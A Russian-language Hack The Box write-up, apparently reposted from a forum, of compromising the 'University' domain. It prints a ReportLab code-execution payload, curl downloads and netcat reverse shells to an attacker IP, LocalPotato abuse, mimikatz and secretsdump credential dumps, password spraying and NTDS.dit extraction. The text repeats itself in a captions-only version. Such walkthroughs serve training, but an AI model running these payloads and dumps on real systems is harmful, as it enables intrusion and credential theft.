stihl не предоставил(а) никакой дополнительной информации.
Сегодня я покажу, как использовать уязвимость LocalPotato для повышения прав в Active Directory. Но и помимо этого нас ждет много интересного: доступ в сеть мы получим через RCE в ReportLab, извлечем учетные данные пользователя и будем продвигаться по сети с машины на машину, а в конце скомпрометируем весь домен.
Наша конечная цель — получение прав суперпользователя на машине University с учебной площадки Для просмотра ссылки Войдиили Зарегистрируйся. Уровень сложности задания — «безумный».
И запускаем сканирование портов.
Наиболее известный инструмент для сканирования — это Nmap. Улучшить результаты его работы ты можешь при помощи следующего скрипта:
Он действует в два этапа. На первом производится обычное быстрое сканирование, на втором — более тщательное сканирование, с использованием имеющихся скриптов (опция -A).
Результат работы скрипта
Сканер нашел 13 открытых портов:
Главная страница сайта
Меню сайта
При создании учетки преподавателя нас предупреждают о том, что потребуется подтверждение по электронной почте. При регистрации аккаунта студента никакого подтверждения не нужно.
Форма регистрации преподавателя
Авторизоваться можно не только по логину и паролю, но еще и по сертификату.
Форма авторизации
Регистрируемся и авторизуемся как пользователь. На главной странице есть форма для загрузки своего CSR-сертификата.
Главная страница пользователя
Посмотрим профиль пользователя: обычно там много полей, которые необходимо протестировать на наличие уязвимостей. Нужно проверить все строки описания и загрузки аватарки.
Профиль пользователя
По ходу дела отмечаем, что профиль пользователя можно экспортировать как PDF. После экспорта выясним, какой программой создан файл, — это может быть ключом к будущей атаке. Посмотрим метаданные:
exiftool profile.pdf
Метаданные скачанного файла
В поле Producer есть даже ссылка на библиотеку Для просмотра ссылки Войдиили Зарегистрируйся. Первым делом стоит проверить, есть ли для нее готовые эксплоиты, в этом поможет Google.
Поиск эксплоитов в Google
Первая же ссылка ведет на Для просмотра ссылки Войдиили Зарегистрируйся для уязвимости Для просмотра ссылки Войди или Зарегистрируйся. Так, ReportLab до версии 3.6.12 позволяет выполнить произвольный код при создании PDF-файла.
Нагрузку сохраняем в поле Bio.
Сохранение нагрузки
После экспорта профиля в PDF на листенер nc -nlvp 8000 приходит отстук, а значит, команда выполнена.
Логи netcat
Теперь повторим все действия, но одним экспортом будем загружать netcat.exe со своей машины, а вторым — выполнять реверс‑шелл.
Загрузка netcat.exe:
Выполнение реверс‑шелла:
Сессия пользователя wao
Осматриваемся на хосте и находим каталог веб‑сайта C:\Web\University. При этом у нас есть право читать файлы.
Содержимое каталога University
Отметим файл базы данных db.sqlite3, а также обратим внимание на каталог с бэкапами C:\Web\DB Backups.
Содержимое каталога DB Backups
В каталоге есть PowerShell-скрипт db-backup-automator.ps1 для копирования файлов, а в самом скрипте — учетные данные в открытом виде.
Содержимое файла db-backup-automator.ps1
С полученными учетными данными авторизуемся в службе WinRM через Для просмотра ссылки Войдиили Зарегистрируйся.
Сессия пользователя wao
или Зарегистрируйся. На своем хосте запустим серверную часть.
На машине DC запускаем клиентскую часть.
На машинах ничего интересного не находим, поэтому продолжаем упражняться с контроллером домена. Скачиваем файл базы данных, где есть логины и хеши паролей. Отметим уже существующие учетные записи преподавателей.
Содержимое базы данных
Хеши сбрутить не вышло, поэтому пришлось вернуться к идее авторизации по сертификату. Сертификаты скачиваем из каталога с говорящим названием CA.
Сертификаты и ключи
У нас есть сертификат для подписи, поэтому сгенерируем PEM-сертификат для пользователя george с почтой george@university.htb.
Создание сертификата
После авторизации по сертификату через веб‑форму получаем доступ к профилю преподавателя.
Профиль пользователя
При переходе к странице создания курса мы будем переброшены на страницу Request a signed certificate, где нам нужно загрузить CSR-сертификат пользователя.
Страница загрузки CSR
После загрузки сертификата повторно переходим к странице создания курса. На этот раз нам доступна эта возможность.
Страница создания курса
Заполняем все поля тестовыми данными и получаем новую страницу, где мы можем добавлять в курс уроки.
Страница курса
На странице добавления лекции есть подробная информация о загружаемом файле. Это должен быть подписанный ZIP-архив, при этом все файлы DOCX, PPTX, PDF и URL проверяются. Также нам дана команда для подписи архива.
Страница добавления лекции
Файл .url представляет собой ссылку на файл или приложение, которое будет запущено. Мы можем на хосте WS-3, где проверяются файлы лекции, создать bat-файл с реверс‑шеллом на машину LAB-2, а на машине LAB-2 запустить листенер nc -nlvp 4321.
Затем создаем ZIP-архив с файлом .url, который будет ссылаться на созданный bat-файл с реверс‑шеллом. Содержимое .url будет следующим:
ZIP создан, займемся его подписью. Первым делом создадим ключи GPG. При создании важно указать имя пользователя и его электронную почту. Затем экспортируем ключ пользователя в файл.
Создание ключей GPG
Экспортированный ключ загружаем на сайт на странице GPG key upload. Он будет использован для проверки подписи загружаемых лекций.
Страница загрузки GPG-ключей
Теперь подписываем ZIP и загружаем на странице загрузки лекций.
Страница загрузки лекций
В течение минуты на листенере LAB-2 получаем сессию пользователя martin.t.
Сессия пользователя
С рабочего стола пользователя забираем первый флаг.
Флаг пользователя
Содержимое каталога Automation-Scripts
Один скрипт мы можем прочитать, а на другой нет соответствующих прав.
Чтение файла get-lectures.ps1
Чтение файла wpad-cache-cleaner.ps1
Скрипт get-lectures.ps1 как раз служит для проверки лекций, загруженных на сайт. А значит, он, вероятнее всего, запускается через планировщик задач. Проверим созданные на хосте задачи.
Список задач
Нужно получить полное имя первой задачи из свойства TaskName.
Полные имена задач
Теперь посмотрим, что делает задача Content Evaluator(Professor Simulator).
Информация о задаче
На хосте LAB-2 запустим листенер (nc -nlvp 4321) и перезапишем содержимое скрипта get-lectures.ps1 на реверс‑шелл с помощью эксплоита Для просмотра ссылки Войдиили Зарегистрируйся.
Результат выполнения эксплоита
Файл перезаписан, а мы получаем реверс‑шелл от имени пользователя martin.t.
Сессия пользователя
Мы и так работаем в контексте этого пользователя, поэтому он нам неинтересен. Попробуем перезаписать скрипт wpad-cache-cleaner.ps1, к которому у нас нет доступа.
Результат выполнения эксплоита
На листенере опять получаем сессию, однако на этот раз от имени локального администратора.
Сессия пользователя
А затем используем известную утилиту Для просмотра ссылки Войдиили Зарегистрируйся для получения локальных учетных данных.
.\mimi.exe "lsadump::sam /sam:sam /system:system"
Дамп учетных данных
Хеш никуда применить не смогли, поэтому проверим файл SECURITY, из которого можно получить локальные секреты и пароли для запуска служб.
Результат разбора файла SECURITY
Получаем один пароль, который спреим по пользователям домена. В итоге получаем много учеток, с которыми нам предстоит разобраться дальше.
Результат перебора логинов
Граф BloodHound
Строим граф от учетной записи пользователя и видим, что он состоит в группе Backup Operators.
Граф BloodHound
Члены этой группы могут выполнять резервное копирование и восстановление файлов и каталогов, расположенных на контроллере домена. Сдампим из реестра файлы SAM и SYSTEM.
Затем перенесем их на свою машину и распарсим учетные данные.
Учетные данные локальных пользователей
Однако войти как локальный админ не удалось.
Проверка учетных данных
Тогда выполним резервное копирование базы NTDS.DIT, которая содержит информацию обо всех учетных записях домена, включая хеши паролей. Будем использовать утилиту diskshadow. Сперва создадим скрипт с инструкциями для создания теневой копии.
Затем выполним резервное копирование.
Теневое копирование с diskshadow
Сохраняем на свою машину файл z:\windows\ntds\ntds.dit и парсим скриптом secretsdump.
Учетные данные пользователей домена
Авторизуемся от имени администратора домена и забираем последний флаг.
Флаг рута
Машина захвачена!
Наша конечная цель — получение прав суперпользователя на машине University с учебной площадки Для просмотра ссылки Войди
warning
Подключаться к машинам с HTB рекомендуется с применением средств анонимизации и виртуализации. Не делай этого с компьютеров, где есть важные для тебя данные, так как ты окажешься в общей сети с другими участниками.
Разведка
Сканирование портов
Добавляем IP-адрес машины в /etc/hosts:10.10.11.39 univerity.htb
И запускаем сканирование портов.
Справка: сканирование портов
Сканирование портов — стандартный первый шаг при любой атаке. Он позволяет атакующему узнать, какие службы на хосте принимают соединение. На основе этой информации выбирается следующий шаг к получению точки входа.Наиболее известный инструмент для сканирования — это Nmap. Улучшить результаты его работы ты можешь при помощи следующего скрипта:
Код:
#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '
' ',' | sed s/,$//)
nmap -p$ports -A $1
Сканер нашел 13 открытых портов:
- 80 (HTTP) — веб‑сервер Nginx 1.24.0;
- 88 — Kerberos;
- 135 — Microsoft RPC;
- 139 — NetBIOS, NetLogon;
- 389 — LDAP;
- 445 — SMB;
- 464 — служба смены пароля Kerberos;
- 593 (HTTP-RPC-EPMAP) — используется в службах DCOM и MS Exchange;
- 636 — LDAP с шифрованием SSL или TLS;
- 2179 — неизвестная служба;
- 3268 (LDAP) — для доступа к Global Catalog от клиента к контроллеру;
- 3269 (LDAPS) — для доступа к Global Catalog от клиента к контроллеру через защищенное соединение;
- 5985 — служба удаленного управления WinRM.
Точка входа
На сайте есть возможность регистрации аккаунта как студента, так и преподавателя.При создании учетки преподавателя нас предупреждают о том, что потребуется подтверждение по электронной почте. При регистрации аккаунта студента никакого подтверждения не нужно.
Авторизоваться можно не только по логину и паролю, но еще и по сертификату.
Регистрируемся и авторизуемся как пользователь. На главной странице есть форма для загрузки своего CSR-сертификата.
Посмотрим профиль пользователя: обычно там много полей, которые необходимо протестировать на наличие уязвимостей. Нужно проверить все строки описания и загрузки аватарки.
По ходу дела отмечаем, что профиль пользователя можно экспортировать как PDF. После экспорта выясним, какой программой создан файл, — это может быть ключом к будущей атаке. Посмотрим метаданные:
exiftool profile.pdf
В поле Producer есть даже ссылка на библиотеку Для просмотра ссылки Войди
Первая же ссылка ведет на Для просмотра ссылки Войди
Точка опоры
Протестируем найденный эксплоит. Берем PoC из репозитория и вставляем команду для загрузки netcat:curl 10.10.16.89:8000
Нагрузку сохраняем в поле Bio.
Код:
<para><font color="[[[getattr(pow, Word('globals'))['os'].system('curl 10.10.16.89:8000/nc.exe -o C:\\Windows\\Tasks\\nc.exe') for Word in [ orgTypeFun( 'Word', (str,), { 'mutated': 1, 'startswith': lambda self, x: 1 == 0, 'eq': lambda self, x: self.mutate() and self.mutated < 0 and str(self) == x, 'mutate': lambda self: { setattr(self, 'mutated', self.mutated - 1) }, 'hash': lambda self: hash(str(self)), }, ) ] ] for orgTypeFun in [type(type(1))] for none in [[].append(1)]]] and 'red'">
exploit
</font></para>
После экспорта профиля в PDF на листенер nc -nlvp 8000 приходит отстук, а значит, команда выполнена.
Теперь повторим все действия, но одним экспортом будем загружать netcat.exe со своей машины, а вторым — выполнять реверс‑шелл.
Загрузка netcat.exe:
curl 10.10.16.89:8000/nc.exe -o C:\\Windows\\Tasks\\nc.exe
Выполнение реверс‑шелла:
C:\\Windows\\Tasks\\nc.exe 10.10.16.89 4321 -e cmd.exe
Осматриваемся на хосте и находим каталог веб‑сайта C:\Web\University. При этом у нас есть право читать файлы.
Отметим файл базы данных db.sqlite3, а также обратим внимание на каталог с бэкапами C:\Web\DB Backups.
В каталоге есть PowerShell-скрипт db-backup-automator.ps1 для копирования файлов, а в самом скрипте — учетные данные в открытом виде.
С полученными учетными данными авторизуемся в службе WinRM через Для просмотра ссылки Войди
evil-winrm -u 'WAO' -p 'WebAO1337' -i 10.10.11.39
Продвижение на WS-3
Во внутренней сети удалось найти еще две машины, к которым мы можем подключиться от имени пользователя wao:- Linux-хост LAB-2 — 192.168.99.12;
- Windows-клиент WS-3 — 192.168.99.2.
chisel.bin server --port 8888 --reverse
На машине DC запускаем клиентскую часть.
chisel.exe 10.10.16.89:8888 R:socks
На машинах ничего интересного не находим, поэтому продолжаем упражняться с контроллером домена. Скачиваем файл базы данных, где есть логины и хеши паролей. Отметим уже существующие учетные записи преподавателей.
Хеши сбрутить не вышло, поэтому пришлось вернуться к идее авторизации по сертификату. Сертификаты скачиваем из каталога с говорящим названием CA.
У нас есть сертификат для подписи, поэтому сгенерируем PEM-сертификат для пользователя george с почтой george@university.htb.
Код:
openssl req -newkey rsa:2048 -keyout george.key -out george.csr
openssl x509 -req -in george.csr -CA rootCA.crt -CAkey rootCA.key -CAcreateserial -out george.pem -days 365
После авторизации по сертификату через веб‑форму получаем доступ к профилю преподавателя.
При переходе к странице создания курса мы будем переброшены на страницу Request a signed certificate, где нам нужно загрузить CSR-сертификат пользователя.
После загрузки сертификата повторно переходим к странице создания курса. На этот раз нам доступна эта возможность.
Заполняем все поля тестовыми данными и получаем новую страницу, где мы можем добавлять в курс уроки.
На странице добавления лекции есть подробная информация о загружаемом файле. Это должен быть подписанный ZIP-архив, при этом все файлы DOCX, PPTX, PDF и URL проверяются. Также нам дана команда для подписи архива.
Файл .url представляет собой ссылку на файл или приложение, которое будет запущено. Мы можем на хосте WS-3, где проверяются файлы лекции, создать bat-файл с реверс‑шеллом на машину LAB-2, а на машине LAB-2 запустить листенер nc -nlvp 4321.
C:\Windows\Tasks\nc.exe -e cmd.exe 192.168.99.12 4321
Затем создаем ZIP-архив с файлом .url, который будет ссылаться на созданный bat-файл с реверс‑шеллом. Содержимое .url будет следующим:
Код:
[InternetShortcut]
URL=C:\Windows\Tasks\rs.bat
ZIP создан, займемся его подписью. Первым делом создадим ключи GPG. При создании важно указать имя пользователя и его электронную почту. Затем экспортируем ключ пользователя в файл.
Код:
gpg --full-generate-key
gpg --export -a 'george' > george.asc
Экспортированный ключ загружаем на сайт на странице GPG key upload. Он будет использован для проверки подписи загружаемых лекций.
Теперь подписываем ZIP и загружаем на странице загрузки лекций.
gpg -u george --detach-sign rs.zip
В течение минуты на листенере LAB-2 получаем сессию пользователя martin.t.
С рабочего стола пользователя забираем первый флаг.
Локальное повышение привилегий на WS-3
В файле README.txt на рабочем столе — большое сообщение, из которого можно узнать, что система не обновлялась с 2023 года. Я перепробовал несколько эксплоитов, но это не дало результата. Поэтому проводим обычную разведку на хосте и в каталоге C:\Program Files находим скрипты Automation-Scripts.Один скрипт мы можем прочитать, а на другой нет соответствующих прав.
Скрипт get-lectures.ps1 как раз служит для проверки лекций, загруженных на сайт. А значит, он, вероятнее всего, запускается через планировщик задач. Проверим созданные на хосте задачи.
powershell Get-ScheduledTask
Нужно получить полное имя первой задачи из свойства TaskName.
powershell "Get-ScheduledTask | Select-Object -ExpandProperty TaskName"
Теперь посмотрим, что делает задача Content Evaluator(Professor Simulator).
powershell "(Get-ScheduledTask -TaskName 'Content Evaluator(Professor Simulator)').Actions"
На хосте LAB-2 запустим листенер (nc -nlvp 4321) и перезапишем содержимое скрипта get-lectures.ps1 на реверс‑шелл с помощью эксплоита Для просмотра ссылки Войди
LocalPotato.exe -i rs.ps1 -o "C:\Program Files\Automation-Scripts\get-lectures.ps1"
Файл перезаписан, а мы получаем реверс‑шелл от имени пользователя martin.t.
Мы и так работаем в контексте этого пользователя, поэтому он нам неинтересен. Попробуем перезаписать скрипт wpad-cache-cleaner.ps1, к которому у нас нет доступа.
LocalPotato.exe -i rs.ps1 -o "C:\Program Files\Automation-Scripts\wpad-cache-cleaner.ps1"
На листенере опять получаем сессию, однако на этот раз от имени локального администратора.
Постэксплуатация
Теперь у нас есть сессия администратора на хосте и мы можем сдампить локальные учетные данные. Из файла SAM можно извлечь зашифрованные хеши паролей учетных записей, а из SYSTEM — ключи для расшифровки этих хешей. Скопируем файлы из реестра HKLM.
Код:
reg save hklm\sam .\sam
reg save hklm\system .\system
А затем используем известную утилиту Для просмотра ссылки Войди
.\mimi.exe "lsadump::sam /sam:sam /system:system"
Хеш никуда применить не смогли, поэтому проверим файл SECURITY, из которого можно получить локальные секреты и пароли для запуска служб.
Код:
reg save hklm\security .\security
.\mimi.exe "lsadump::secrets /security:security /system:system"
Получаем один пароль, который спреим по пользователям домена. В итоге получаем много учеток, с которыми нам предстоит разобраться дальше.
nxc smb 10.10.11.39 -u users.txt -p 'v3ryS0l!dP@sswd#X' --continue-on-success
Повышение привилегий в домене
Среди скомпрометированных пользователей внимание на себя обращает Browse.W, так как BloodHound пометил его маркером High Value. Этот маркер говорит о том, что объект привилегированный и позволяет скомпрометировать весь домен.Строим граф от учетной записи пользователя и видим, что он состоит в группе Backup Operators.
Члены этой группы могут выполнять резервное копирование и восстановление файлов и каталогов, расположенных на контроллере домена. Сдампим из реестра файлы SAM и SYSTEM.
Код:
reg save hklm\sam .\sam
reg save hklm\system .\system
Затем перенесем их на свою машину и распарсим учетные данные.
Код:
secretsdump.py -system system -sam sam LOCAL
Однако войти как локальный админ не удалось.
nxc smb 10.10.11.39 -u 'Administrator' -H e1ab6bc4d7d84111fe3e0fb271de1e0b --local-auth
Тогда выполним резервное копирование базы NTDS.DIT, которая содержит информацию обо всех учетных записях домена, включая хеши паролей. Будем использовать утилиту diskshadow. Сперва создадим скрипт с инструкциями для создания теневой копии.
Код:
set context persistent nowriters
set metadata c:\exfil\metadata.cab
add volume c: alias temp
create
expose %temp% z:
Затем выполним резервное копирование.
Код:
mkdir c:\exfil
diskshadow.exe /s shadow.txt
Сохраняем на свою машину файл z:\windows\ntds\ntds.dit и парсим скриптом secretsdump.
secretsdump.py -system system -sam sam -ntds ntds LOCAL
Авторизуемся от имени администратора домена и забираем последний флаг.
evil-winrm -i 10.10.11.39 -u Administrator -H e63413bab01a0b8820983496c0be3a9a
Машина захвачена!